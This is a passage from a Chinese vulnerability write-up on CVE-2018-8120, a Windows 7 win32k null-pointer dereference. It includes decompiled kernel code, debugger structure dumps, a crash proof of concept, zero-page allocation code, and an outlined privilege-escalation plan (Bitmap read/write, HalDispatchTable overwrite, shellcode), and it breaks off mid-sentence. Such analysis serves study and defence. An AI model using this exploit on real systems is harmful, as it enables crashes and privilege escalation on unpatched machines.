class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// nt4 源码</span></span><br><span class="line"><span class="function">VOID <span class="title">ReorderKeyboardLayouts</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">    PWINDOWSTATION pwinsta,</span></span></span><br><span class="line"><span class="function"><span class="params">    PKL pkl)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    PKL pklFirst = pwinsta-&gt;spklList;</span><br><span class="line"></span><br><span class="line">    UserAssert(pklFirst != <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * If the layout is already at the front of the list there's nothing to do.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">if</span> (pkl == pklFirst) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * Cut pkl from circular list:</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    pkl-&gt;pklPrev-&gt;pklNext = pkl-&gt;pklNext;</span><br><span class="line">    pkl-&gt;pklNext-&gt;pklPrev = pkl-&gt;pklPrev;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * Insert pkl at front of list</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    pkl-&gt;pklNext = pklFirst;</span><br><span class="line">    pkl-&gt;pklPrev = pklFirst-&gt;pklPrev;</span><br><span class="line"></span><br><span class="line">    pklFirst-&gt;pklPrev-&gt;pklNext = pkl;</span><br><span class="line">    pklFirst-&gt;pklPrev = pkl;</span><br><span class="line"></span><br><span class="line">    Lock(&amp;pwinsta-&gt;spklList, pkl);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>结合上面微软对于两个函数的修复，我们可以猜测这次的修复主要是对<code>spklList</code>成员域的错误调用进行修复，从<code>SetImeInfoEx</code>函数的交叉引用中，因为只有一处交叉引用，所以我们可以追溯到调用函数<code>NtUserSetImeInfoEx</code>，通过分析可以看到该函数的主要作用是对进程中的窗口进行设置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">signed</span> <span class="keyword">int</span> __<span class="function">stdcall <span class="title">NtUserSetImeInfoEx</span><span class="params">(<span class="keyword">char</span> *buf)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v1; <span class="comment">// esi</span></span><br><span class="line">  <span class="keyword">char</span> *v2; <span class="comment">// ecx</span></span><br><span class="line">  <span class="keyword">char</span> v3; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> pwinsta; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> piiex; <span class="comment">// [esp+10h] [ebp-178h]</span></span><br><span class="line">  CPPEH_RECORD ms_exc; <span class="comment">// [esp+170h] [ebp-18h]</span></span><br><span class="line"></span><br><span class="line">  UserEnterUserCritSec();</span><br><span class="line">  <span class="keyword">if</span> ( *(_BYTE *)gpsi &amp; <span class="number">4</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    ms_exc.registration.TryLevel = <span class="number">0</span>;</span><br><span class="line">    v2 = buf;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)buf &gt;= W32UserProbeAddress )</span><br><span class="line">      v2 = (<span class="keyword">char</span> *)W32UserProbeAddress;</span><br><span class="line">    v3 = *v2;</span><br><span class="line">    qmemcpy(&amp;piiex, buf, <span class="number">0x15C</span>u);</span><br><span class="line">    ms_exc.registration.TryLevel = <span class="number">0xFFFFFFFE</span>;</span><br><span class="line">    pwinsta = _GetProcessWindowStation(<span class="number">0</span>);</span><br><span class="line">    v1 = SetImeInfoEx(pwinsta, &amp;piiex);<span class="comment">// 参数 pwinsta 由 _GetProcessWindowStation(0) 获得</span></span><br><span class="line">       <span class="comment">// 参数 piiex 在 qmemcpy 函数中由 a1 拷贝得到,而 a1 是我们可控的传入参数</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    UserSetLastError(<span class="number">0x78</span>);</span><br><span class="line">    v1 = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  UserSessionSwitchLeaveCrit();</span><br><span class="line">  <span class="keyword">return</span> v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在<code>SetImeInfoEx</code>函数中，我们可以看到传入的指针<code>PWINDOWSTATION</code>指向结构体<code>tagWINDOWSTATION</code>结构如下，也就是窗口站结构，其中偏移 0x14 处可以找到<code>spklList</code>，我们需要关注的点我会进行注释</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>: kd&gt; dt win32k!tagWINDOWSTATION</span><br><span class="line">   +<span class="number">0x000</span> dwSessionId      : Uint4B</span><br><span class="line">   +<span class="number">0x004</span> rpwinstaNext     : Ptr32 tagWINDOWSTATION</span><br><span class="line">   +<span class="number">0x008</span> rpdeskList       : Ptr32 tagDESKTOP</span><br><span class="line">   +<span class="number">0x00c</span> pTerm            : Ptr32 tagTERMINAL</span><br><span class="line">   +<span class="number">0x010</span> dwWSF_Flags      : Uint4B</span><br><span class="line">   +<span class="number">0x014</span> spklList         : Ptr32 tagKL<span class="comment">// 关注点</span></span><br><span class="line">   +<span class="number">0x018</span> ptiClipLock      : Ptr32 tagTHREADINFO</span><br><span class="line">   +<span class="number">0x01c</span> ptiDrawingClipboard : Ptr32 tagTHREADINFO</span><br><span class="line">   +<span class="number">0x020</span> spwndClipOpen    : Ptr32 tagWND</span><br><span class="line">   +<span class="number">0x024</span> spwndClipViewer  : Ptr32 tagWND</span><br><span class="line">   +<span class="number">0x028</span> spwndClipOwner   : Ptr32 tagWND</span><br><span class="line">   +<span class="number">0x02c</span> pClipBase        : Ptr32 tagCLIP</span><br><span class="line">   +<span class="number">0x030</span> cNumClipFormats  : Uint4B</span><br><span class="line">   +<span class="number">0x034</span> iClipSerialNumber : Uint4B</span><br><span class="line">   +<span class="number">0x038</span> iClipSequenceNumber : Uint4B</span><br><span class="line">   +<span class="number">0x03c</span> spwndClipboardListener : Ptr32 tagWND</span><br><span class="line">   +<span class="number">0x040</span> pGlobalAtomTable : Ptr32 Void</span><br><span class="line">   +<span class="number">0x044</span> luidEndSession   : _LUID</span><br><span class="line">   +<span class="number">0x04c</span> luidUser         : _LUID</span><br><span class="line">   +<span class="number">0x054</span> psidUser         : Ptr32 Void</span><br></pre></td></tr></table></figure><p>我们继续追溯到<code>spklList</code>指向的结构<code>tagKL</code>，可以看到是一个键盘布局对象结构体，结构体成员中我们可以看到成员<code>piiex</code>指向一个基于<code>tagIMEINFOEX</code>布局的扩展信息，而在<code>SetImeInfoEx</code>函数中，该成员作为第二个参数传入，作为内存拷贝的内容，我们还可以发现有两个很相似的指针<code>pklNext</code>和<code>pklPrev</code>负责指向布局对象的前后</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>: kd&gt; dt win32k!tagKL</span><br><span class="line">   +<span class="number">0x000</span> head             : _HEAD</span><br><span class="line">   +<span class="number">0x008</span> pklNext          : Ptr32 tagKL<span class="comment">// 关注点</span></span><br><span class="line">   +<span class="number">0x00c</span> pklPrev          : Ptr32 tagKL<span class="comment">// 关注点</span></span><br><span class="line">   +<span class="number">0x010</span> dwKL_Flags       : Uint4B</span><br><span class="line">   +<span class="number">0x014</span> hkl              : Ptr32 HKL__<span class="comment">// 关注点</span></span><br><span class="line">   +<span class="number">0x018</span> spkf             : Ptr32 tagKBDFILE</span><br><span class="line">   +<span class="number">0x01c</span> spkfPrimary      : Ptr32 tagKBDFILE</span><br><span class="line">   +<span class="number">0x020</span> dwFontSigs       : Uint4B</span><br><span class="line">   +<span class="number">0x024</span> iBaseCharset     : Uint4B</span><br><span class="line">   +<span class="number">0x028</span> CodePage         : Uint2B</span><br><span class="line">   +<span class="number">0x02a</span> wchDiacritic     : Wchar</span><br><span class="line">   +<span class="number">0x02c</span> piiex            : Ptr32 tagIMEINFOEX<span class="comment">// 关注点</span></span><br><span class="line">   +<span class="number">0x030</span> uNumTbl          : Uint4B</span><br><span class="line">   +<span class="number">0x034</span> pspkfExtra       : Ptr32 Ptr32 tagKBDFILE</span><br><span class="line">   +<span class="number">0x038</span> dwLastKbdType    : Uint4B</span><br><span class="line">   +<span class="number">0x03c</span> dwLastKbdSubType : Uint4B</span><br><span class="line">   +<span class="number">0x040</span> dwKLID           : Uint4B</span><br></pre></td></tr></table></figure><p><code>piiex</code>指向的<code>tagIMEINFOEX</code>的结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>: kd&gt; dt win32k!tagIMEINFOEX</span><br><span class="line">   +<span class="number">0x000</span> hkl              : Ptr32 HKL__</span><br><span class="line">   +<span class="number">0x004</span> ImeInfo          : tagIMEINFO</span><br><span class="line">   +<span class="number">0x020</span> wszUIClass       : [<span class="number">16</span>] Wchar</span><br><span class="line">   +<span class="number">0x040</span> fdwInitConvMode  : Uint4B</span><br><span class="line">   +<span class="number">0x044</span> fInitOpen        : Int4B</span><br><span class="line">   +<span class="number">0x048</span> fLoadFlag        : Int4B<span class="comment">// 关注点</span></span><br><span class="line">   +<span class="number">0x04c</span> dwProdVersion    : Uint4B</span><br><span class="line">   +<span class="number">0x050</span> dwImeWinVersion  : Uint4B</span><br><span class="line">   +<span class="number">0x054</span> wszImeDescription : [<span class="number">50</span>] Wchar</span><br><span class="line">   +<span class="number">0x0b8</span> wszImeFile       : [<span class="number">80</span>] Wchar</span><br><span class="line">   +<span class="number">0x158</span> fSysWow64Only    : Pos <span class="number">0</span>, <span class="number">1</span> Bit</span><br><span class="line">   +<span class="number">0x158</span> fCUASLayer       : Pos <span class="number">1</span>, <span class="number">1</span> Bit</span><br></pre></td></tr></table></figure><h1 id="0x02：漏洞复现"><a href="#0x02：漏洞复现" class="headerlink" title="0x02：漏洞复现"></a>0x02：漏洞复现</h1><p>通过上面对每个成员的分析，我们大概知道了函数之间的调用关系，这里再简单总结一下，首先当用户在R3调用<code>CreateWindowStation</code>生成一个窗口时，新建的 WindowStation 对象其偏移 0x14 位置的 spklList 字段的值默认是零，如果我们调用R0函数<code>NtUserSetImeInfoEx</code>，传入一个我们定义的 buf ，函数就会将 buf 传给 piiex 在传入 SetImeInfoEx 中，一旦调用了 SetImeInfoEx  函数，因为 spklList 字段是零，所以就会访问到零页内存，导致蓝屏，所以我们构造如下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IM_UI_CLASS_SIZE        16</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IM_FILE_SIZE            80</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IM_DESC_SIZE            50</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">DWORD       dwPrivateDataSize;</span><br><span class="line">DWORD       fdwProperty;</span><br><span class="line">DWORD       fdwConversionCaps;</span><br><span class="line">DWORD       fdwSentenceCaps;</span><br><span class="line">DWORD       fdwUICaps;</span><br><span class="line">DWORD       fdwSCSCaps;</span><br><span class="line">DWORD       fdwSelectCaps;</span><br><span class="line">&#125; tagIMEINFO;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">HKL         hkl;</span><br><span class="line">tagIMEINFO  ImeInfo;</span><br><span class="line">WCHAR       wszUIClass[IM_UI_CLASS_SIZE];</span><br><span class="line">DWORD       fdwInitConvMode;</span><br><span class="line">BOOL        fInitOpen;</span><br><span class="line">BOOL        fLoadFlag;</span><br><span class="line">DWORD       dwProdVersion;</span><br><span class="line">DWORD       dwImeWinVersion;</span><br><span class="line">WCHAR       wszImeDescription[IM_DESC_SIZE];</span><br><span class="line">WCHAR       wszImeFile[IM_FILE_SIZE];</span><br><span class="line">CHAR        fSysWow64Only : <span class="number">1</span>;</span><br><span class="line">BYTE        fCUASLayer : <span class="number">1</span>;</span><br><span class="line">&#125; tagIMEINFOEX;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 通过系统调用实现NtUserSetImeInfoEx函数</span></span><br><span class="line"><span class="keyword">static</span></span><br><span class="line">BOOL</span><br><span class="line">__declspec(naked)</span><br><span class="line">NtUserSetImeInfoEx(tagIMEINFOEX* imeInfoEx)</span><br><span class="line">&#123;</span><br><span class="line">__asm &#123; mov eax, <span class="number">1226</span>h &#125;;</span><br><span class="line">__asm &#123; lea edx, [esp + <span class="number">4</span>] &#125;;</span><br><span class="line">__asm &#123; <span class="keyword">int</span> <span class="number">2</span>eh &#125;;</span><br><span class="line">__asm &#123; ret &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零</span></span><br><span class="line">HWINSTA hSta = CreateWindowStation(</span><br><span class="line"><span class="number">0</span>,<span class="comment">//LPCSTR                lpwinsta</span></span><br><span class="line"><span class="number">0</span>,<span class="comment">//DWORD                 dwFlags</span></span><br><span class="line">READ_CONTROL,<span class="comment">//ACCESS_MASK           dwDesiredAccess</span></span><br><span class="line"><span class="number">0</span><span class="comment">//LPSECURITY_ATTRIBUTES lpsa</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 和窗口当前进程关联起来</span></span><br><span class="line">SetProcessWindowStation(hSta);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">0x4</span>];</span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="number">0x41</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line"></span><br><span class="line"><span class="comment">// WindowStation-&gt;spklList字段为0，函数继续执行将触发0地址访问异常</span></span><br><span class="line">NtUserSetImeInfoEx((PVOID)&amp;buf);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行发现果然蓝屏了，问题出在 win32k.sys</p><p><img src="/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/5.png" alt="1565265591357"></p><p>我们通过蓝屏信息定位到问题地址，确实是我们前面所说的<code>SetImeInfoEx</code>函数</p><p><img src="/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/6.png" alt="1565265882939"></p><h1 id="0x03：漏洞利用"><a href="#0x03：漏洞利用" class="headerlink" title="0x03：漏洞利用"></a>0x03：漏洞利用</h1><h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><p>我们利用的思路首先可以想到因为是在win 7的环境中，我们可以在零页构造一些结构，所以我们这里首先获得并调用申请零页的函数<code>NtAllocateVirtualMemory</code>，因为内存对齐的问题我们这里申请大小的参数设置为 1 以申请到零页内存</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 申明函数</span></span><br><span class="line">*(FARPROC*)&amp; NtAllocateVirtualMemory = GetProcAddress(</span><br><span class="line">GetModuleHandleW(<span class="string">L"ntdll"</span>),</span><br><span class="line"><span class="string">"NtAllocateVirtualMemory"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (NtAllocateVirtualMemory == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get function NtAllocateVirtualMemory!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 零页申请内存</span></span><br><span class="line">PVOID Zero_addr = (PVOID)<span class="number">1</span>;</span><br><span class="line">SIZE_T RegionSize = <span class="number">0x1000</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Started to alloc zero page"</span>);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(NtAllocateVirtualMemory(</span><br><span class="line">INVALID_HANDLE_VALUE,</span><br><span class="line">&amp;Zero_addr,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">&amp;RegionSize,</span><br><span class="line">MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">PAGE_READWRITE)) || Zero_addr != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Failed to alloc zero page!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">ZeroMemory(Zero_addr, RegionSize);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">" =&gt; done!\n"</span>);</span><br></pre></td></tr></table></figure><p>申请到内存我们就需要开始思考如何进行构造，我们再详细回顾一下漏洞复现例子中的一些函数，根据前面的例子我们知道，需要使用到<code>CreateWindowStation</code>创建窗口函数，详细的调用方法如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">HWINSTA <span class="title">CreateWindowStationA</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  LPCSTR                lpwinsta,</span></span></span><br><span class="line"><span class="function"><span class="params">  DWORD                 dwFlags,</span></span></span><br><span class="line"><span class="function"><span class="params">  ACCESS_MASK           dwDesiredAccess,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPSECURITY_ATTRIBUTES lpsa</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure><p>创建好窗口站对象之后我们还需要将当前进程和窗口站对应起来，需要用到 <code>SetProcessWindowStation</code> 函数将指定的窗口站分配给调用进程。这使进程能够访问窗口站中的对象，如桌面、剪贴板和全局原子。窗口站上的所有后续操作都使用授予<code>hWinSta</code>的访问权限</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL <span class="title">SetProcessWindowStation</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  HWINSTA hWinSta</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure><p>最后一步就是调用<code>xxNtUserSetImeInfoEx</code>函数蓝屏，我们这里能做手脚的就是给<code>xxNtUserSetImeInfoEx</code>函数传入的参数<code>piiex</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// nt4 源码</span></span><br><span class="line"><span class="function">BOOL <span class="title">NtUserSetImeInfoEx</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">    IN PIMEINFOEX piiex)</span></span>;</span><br></pre></td></tr></table></figure><p>我们在IDA中继续分析一下并粗略的构造一个思路，这里我根据结构重新注释修复了一下 IDA 反汇编的结果</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">bool</span> __<span class="function">stdcall <span class="title">SetImeInfoEx</span><span class="params">(DWORD *pwinsta, DWORD *piiex)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">bool</span> result; <span class="comment">// al</span></span><br><span class="line">  DWORD *spklList; <span class="comment">// eax</span></span><br><span class="line">  DWORD *tagKL_piiex; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  result = (<span class="keyword">char</span>)pwinsta;</span><br><span class="line">  <span class="keyword">if</span> ( pwinsta )</span><br><span class="line">  &#123;</span><br><span class="line">    spklList = (DWORD *)pwinsta[<span class="number">5</span>];             <span class="comment">// pwinsta 指向 tagWINDOWSTATION 结构</span></span><br><span class="line">                                                <span class="comment">// pwinsta[5] == tagWINDOWSTATION-&gt;spklList</span></span><br><span class="line">    <span class="keyword">while</span> ( spklList[<span class="number">5</span>] != *piiex )             <span class="comment">// spklList 指向 tagKL 结构</span></span><br><span class="line">                                                <span class="comment">// spklList[5] == tagKL-&gt;hkl</span></span><br><span class="line">                                                <span class="comment">// tagKL-&gt;hkl == &amp;piiex 绕过第一个检验</span></span><br><span class="line">    &#123;</span><br><span class="line">      spklList = (DWORD *)spklList[<span class="number">2</span>];</span><br><span class="line">      <span class="keyword">if</span> ( spklList == (DWORD *)pwinsta[<span class="number">5</span>] )</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    tagKL_piiex = (DWORD *)spklList[<span class="number">0xB</span>];       <span class="comment">// spklList[0xB] == tagKL-&gt;piiex</span></span><br><span class="line">    <span class="keyword">if</span> ( !tagKL_piiex )                         <span class="comment">// tagKL-&gt;piiex 不能为零绕过第二个检验</span></span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( !tagKL_piiex[<span class="number">0x12</span>] )                   <span class="comment">// piiex 指向 tagIMEINFOEX 结构</span></span><br><span class="line">                                                <span class="comment">// piiex[0x12] == tagIMEINFOEX-&gt;fLoadFlag</span></span><br><span class="line">                                                <span class="comment">// 这里 tagIMEINFOEX-&gt;fLoadFlag 需要为零才能执行拷贝函数</span></span><br><span class="line">      qmemcpy(tagKL_piiex, piiex, <span class="number">0x15C</span>u);</span><br><span class="line">    result = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>需要清楚的是，我们最后<code>SetImeInfoEx</code>中的拷贝函数会给我们带来什么作用，他会把我们传入的<code>piiex</code>拷贝到<code>tagKL-&gt;piiex</code>中，拷贝的大小是 0x15C ，我们这里其实想到的是拷贝之后去覆盖 <code>HalDispatchTable+0x4</code>的位置，然后调用<code>NtQueryIntervalProfile</code>函数提权，所以我们只需要覆盖四个字节，为了达到更精准的覆盖我们想到了 win10 中的滥用Bitmap对象达到任意地址的读和写，那么在 win 7 中我们如何运用这个手法呢?其实很简单，原理上和 win 10 相同，只是我们现在有个问题，要达到任意地址的读和写，我们必须得让<code>hManagerPrvScan0</code>指向<code>hworkerPrvScan0</code>，我们如何实现这个目标呢?聪明的你一定想到了前面的拷贝函数，让我们先粗略的构造一个利用思路：</p><ul><li>初始化申请零页内存</li><li>新建一个窗口并与当前线程关联</li><li>申请并泄露Bitmap中的PrvScan0地址</li><li>在零页构造结构体绕过检查实现能够调用拷贝函数</li><li>构造<code>xxNtUserSetImeInfoEx</code>函数的参数并调用实现<code>hManagerPrvScan0</code>指向<code>hworkerPrvScan0</code></li><li>将 <code>HalDispatchTable+0x4</code>内容写为shellcode的内容</li><li>调用<code>NtQueryIntervalProfile</code>函数运行shellcode提权</li></ul><h2 id="xxNtUserSetImeInfoEx参数构造"><a href="#xxNtUserSetImeInfoEx参数构造" class="headerlink" title="xxNtUserSetImeInfoEx参数构造"></a>xxNtUserSetImeInfoEx参数构造</h2><p>有了思路我们现在就只差时间了，慢慢的调试总能给我们一个完美的结果(吗)，我们知道<code>NtUserSetImeInfoEx</code>函数的参数是一个<code>tagIMEINFOEX</code>结构而<code>tagKL</code>则指向这个结构，根据前面IDA中的注释，我们知道我们需要绕过几个地方的检验，从检验中我们可以发现需要做手教的地方分别是<code>tagKL-&gt;hkl</code>和<code>tagKL-&gt;piiex</code>，我们的<code>tagKL-&gt;hkl</code>需要和传入的<code>piiex</code>地址一致，<code>tagKL-&gt;piiex</code>这个结构有两处检验，第一处是自己不能为空，第二处是<code>tagIMEINFOEX-&gt;fLoadFlag</code>也必须赋值，观察Bitmap的结构，我们知道 +0x2c 